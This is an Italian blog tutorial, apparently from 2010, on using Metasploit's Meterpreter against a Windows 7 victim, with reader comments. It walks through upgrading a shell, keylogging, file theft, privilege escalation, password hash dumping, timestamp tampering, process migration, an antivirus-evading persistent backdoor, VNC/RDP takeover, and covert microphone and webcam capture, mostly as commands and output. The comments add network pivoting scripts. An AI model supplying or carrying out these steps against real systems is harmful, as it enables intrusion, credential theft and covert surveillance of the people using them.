Meterpreter


Nel scrivere questa guida, ho usato come vittima un Windows 7 Professional x64 e Avira AntiVir come antivirus, il tutto aggiornato fino ad oggi (Sunday, July 25 2010).

Ovviamente la guida è su Meterpreter, come creare una sessione è un argomento che ho trattato in questo articolo.

L’help di Meterpreter (richiamabile digitando appunto “help” oppure “?“) è ricco di spunti per conoscere le sue potenzialità, io tratterò solo di quegli insiemi di operazioni atte uno scopo preciso.

[*] From shell to Meterpreter

Eccoci qua, l’exploit (o quant’altro) ha funzionato:

C:\Users\Simone\Desktop>

Però la shell di Windows è limitata, una sessione Meterpreter?

Premete CTRL+z e rispondete y

Background session 1? [y/N]  y

Adesso siamo tornati al menu della console di Metasploit Framework.

Digitiamo “sessions” per visualizzare le sessioni attive:

msf exploit(handler) > sessions
Active sessions
===============
Id  Type         Information                 Connection
--  ----         -----------                 ----------
1   shell                                    192.168.1.5:4444 -> 192.168.1.7:49500

E adesso facciamo l’upgrade a Meterpreter:

sessions -u 1

digitiamo nuovamente “sessions”:

msf exploit(handler) > sessions
Active sessions
===============
Id  Type         Information                 Connection
--  ----         -----------                 ----------
1   shell                                    192.168.1.5:4444 -> 192.168.1.7:49500
2   meterpreter  SIMOWIN7\Simone @ SIMOWIN7  192.168.1.5:4444 -> 192.168.1.7:49505

E adesso, andiamo alla nuova sessione Meterpreter!

msf exploit(handler) > sessions -i 5
[*] Starting interaction with 5...
meterpreter >

[*] Praeludium

Facciamo il punto della situazione prima di iniziare a lavorare e comportarci di conseguenza.

Informazioni sul sistema remoto:

sysinfo

Il nome utente proprietario del processo Meterpreter (sarà il caso di diventare amministratori?):

getuid

Da quanto tempo l’utente remoto non utilizza il sistema (sarà il caso di migrare il processo?):

idletime

Lo facciamo stare buono?

meterpreter > uictl
Usage: uictl [enable/disable] [keyboard/mouse]

Esempio:

uictl disable mouse
Game over?
shutdown
Keylogger?

[*] Keylogger

meterpreter > keyscan_start
Starting the keystroke sniffer...

Poi continuate il vostro lavoro e quando volete vedere cosa ha catturato:

meterpreter > keyscan_dump 
Dumping captured keystrokes...
gmail <Return> username <Tab> password redtube <Return> strip <Return>

Per fermarlo:

meterpreter > keyscan_stop
Stopping the keystroke sniffer...

[*] Download/Upload

Per navigare tra i files del computer remoto Meterpreter mette a disposizione alcuni comandi che saranno familiari a chi ha un minimo di padronanza con la bash.

E’ anche possibile scaricare o trasferire dei files, utilizzando rispettivamente i comandi “download” e “upload“.

Dovete solo fare attenzione alle directory sulle quali state lavorando, quindi utilizzate i seguenti comandi per orientarvi:

pwd: stampa la directory dell’host remoto, sulla quale stiamo lavorando.

cd: cambia la directory dell’host remoto, sulla quale stiamo lavorando (sintassi bash-like).

lpwd: stampa la directory del nostro sistema, sulla quale stiamo lavorando.

lcd: cambia la directory del nostro sistema, sulla quale stiamo lavorando (sintassi bash-like).

Quindi, tornando ai nostri comandi:

download nomefilecartella

trasferisce un file/cartella dalla “pwd” alla “lpwd“.

upload nomefilecartella

trasferisce un file/cartella dalla “lpwd” alla “pwd“.

[*] Extensions and Script

Ovviamente potete espandere le funzionalità di Meterpreter usando le extensions che aggiungono un nuovo set di comandi o degli script per ottenere uno specifico obiettivo.

Le extensions si abilitano con il comando “use” (esempio “use espia”) e quelle disponibili di default con relativa versione per le architetture a 64 bit sono:

espia (espia.x64) = abilita il comando screengrab, che fa uno screenshot, lo trasferisce sul nostro pc e lo apre col browser.

incognito (incognito.x64) = comandi per pasticciare con gli utenti ed eseguire comandi come se foste uno di essi. Cliccate qui per maggiori informazioni, in inglese).

priv (priv.x64) = comandi:

  • getsystem, per ottenere i privilegi di amministratore (vedi paragrafo successivo)
  • hashdump, gli hash delle password degli utenti (bisogna essere amministratori)
  • timestomp, modifica degli attribuiti MACE (multi-attribute combinatorial exchange) dei files (attribiti, orari e date)

railgun = consente l’accesso diretto alle API di Windows (qualsiasi esistente o proveniente da una DLL caricata sul sistema bersaglio) attraverso Meterpreter.

sniffer = un simpatico sniffer che permette il salvataggio dei pacchetti catturati su un file .pcap

stdapi.x64 = comandi di manipolazione del filesystem per le architetture a 64bit

Invece gli script si lanciano usando il comando “run“. Digitate run e poi premete il tasto Tab per visualizzare tutti gli script disponibili utilizzando l’autocompletamento.

[*] Become administrator

Come avrete capito, la nostra sessione Meterpreter corrisponde (ma dai?) ad un processo sul sistema remoto. Ovviamente a seconda del metodo col quale abbiamo avviato la sessione, il processo sarà di proprietà di un dato utente (getuid). Se questo utente non avesse privilegi sufficienti? Come possiamo ad esempio utilizzare il comando hasdump? Dobbiamo diventare amministratori di sistema! Usiamo allora getsystem:

meterpreter > getuid
Server username: SIMOWIN7\Simone
meterpreter > use priv
Loading extension priv...success.
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

L’esito di questo comando dipende dal sistema operativo e dai privilegi dell’utente. Windows 7 si è dimostrato inattaccabile qualora non fossimo noi ad eseguire un applicativo creato ad hoc con privilegi amministrativi (allora l’UAC serve a qualcosa), mentre su Windows XP si riesce a combinare le peggio cose (un dato significativo visto che è ancora il sistema più diffuso al mondo!)

[*] Migrate process

Se abbiamo modo di pensare che il processo server di Meterpreter sul sistema remoto rischi di venire terminato, possiamo migrarlo su di un processo più sicuro! L’ideale su Windows sarebbe ottenere i permessi amministrativi e migrare sul processo “explorer.exe”…

Innanzitutto si guarda quali sono i processi in esecuzione e ci si annota il PID del processo verso il quale si vuole migrare:

ps

poi si migra al processo desiderato (PID è un numero naturale):

migrate PID

ad esempio “migrate 803”.

[*] Persistent Backdoor

Ho specificato persistent, perché ho visto molti video in cui si accontentavano di creare una backdoor temporanea con NetCat. Il nostro obiettivo è invece quello di installare una backdoor permanente in modo tale che Meterpreter che ci contatti a nostro piacimento, anche dopo un riavvio.

Lo script creato ad-hoc si chiama “persistence” e ha bisogna passargli alcuni argomenti, vediamo quali:

-A        Automatically start a matching multi/handler to connect to the agent
-U        Automatically start the agent when the User logs on
-X        Automatically start the agent when the system boots
-h        This help menu
-i <opt>  The interval in seconds between each connection attempt
-p <opt>  The port on the remote host where Metasploit is listening
-r <opt>  The IP of the system running Metasploit listening for the connect back

Ad esempio, se volessimo farci ricontattare quando il sistema si avvia e ogni 15 secondi dopo l’avvio (cercate di eseguire il comando da amministratori!):

run persistence -A -X -i 15

Questo script è favoloso, non viene rilevato dagli antivirus e ci fornisce gentilmente la procedura di disinstallazione una volta terminato il comando. Fate caso quando lo eseguite all’ultima riga di output:

[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/persistence/SIMOWIN7_20100727.4925/clean_up__20100727.4925.rc

Che vi sta dicendo che per rimuover ogni traccia bisogna eseguire il comando:

run multi_console_command -rc /root/.msf3/logs/persistence/SIMOWIN7_20100727.4925/clean_up__20100727.4925.rc

[*] VNC and RDP

E per vedere in prima persona cosa sta accadendo sul computer? E magari intervenire? VNC (Virtual Network Computing).

Se utilizzate Ubuntu o Debian, installate prima il viewer (io ho dovuto riavviare, altrimenti non funzionava con lo script):

sudo apt-get install xtightvncviewer

E da Meterpreter lanciate lo script:

run vnc

Si aprirà in automatico una finestra con la sessione vnc, comodissimo!

Mentre per abilitare l’RDP (Remote Desktop Protocol):

run getgui -e

Ci sono altri parametri da passare allo script getgui, vi rimando al suo help “run getgui -h” per approfondimenti.

[*] Webcam&Microphone

<Update Friday, December 31 2010>

Registrare l’audio del microfono per x secondi:

record_mic x

Visualizzare le webcam installate:

webcam_list

Scattare una foto dalla webcam
(usare webcam_list per ottenere il numero x corrispondente):

webcam_snap x

Potete anche usare gli script di ZeroCold che hanno anche la possibilità di registrare un video dalla webcam:

http://zerocold.co.uk/

Prelevate dal suo sito CamRecorder e CamSnap, sotto la sezione Meterpreter Scripts, dopodiché estraete poi il contenuto dei .tar

Attenzione che il file “VFWGrab.exe” è nominato male, c’è uno spazio prima del nome, va rinominato.

I comandi da eseguire all’interno delle rispettive cartelle sono (a seconda di dove avete installato Metasploit):

Per CamSnap:

mv VFWGrab.exe vfwgrab.ini /opt/metasploit3/msf3/data/
mv camsnap.rb /opt/metasploit3/msf3/scripts/meterpreter/

Per CamRecorder:

unrar e upload.rar
mv upload.exe /opt/metasploit3/msf3/data/
mv camrecorder.rb /opt/metasploit3/msf3/scripts/meterpreter/

Adesso la prossima volta che avviate Metasploit Framework nelle sessioni Meterpreter saranno disponibili gli script.

Scatta una foto dalla webcam e ce la invia:

run camsnap

Registra un video dalla webcam per x secondi dove 1<=x<=60 e ce lo invia:

run camrecorder -t x

12 thoughts on “Meterpreter

  1. Pingback: Subme reverse? Metasploit! « six110@wordpress:~#

  2. pdfmyurl e bump in pdf 😀

    Copio il mini tutorail sul mio blog, di appunti 😀

    Ottimo articolo, bravo, certe cose non me le ricordavo 😀

  3. Pingback: [guide pdf metasploit]Ripassiamo Meterpreter :D | Clshack

  4. Grazie! Ci ho perso un sacco di tempo a fare tutti i test e selezionare i comandi che non venissero rilevati dall’antivirus!

  5. fireares

    E per il Download e Upload dei dati sul/dal remoto?
    Complimenti per la guida

  6. Thanks ZeroCold. But I don’t find Camsnap.rb in your website… and I belive that you updated the scripts, true?

  7. Zerocold

    Camsnap now added also nmap.rb allow remote port scanning to help with pivoting n using the remote host as a proxy

  8. Aroute.rb realeased

    Aroute.rb is a simple meterpreter script i have written to find the working route that the remote machine is using & will automaticly add the attackers machine to that route this will allow them to pipe nmap port scans through the internal network or the remote host & continue to exploit other machines

    This would be a nice little script to add to your guide bro 🙂

    http://zerocold.co.uk/?p=357

Leave a comment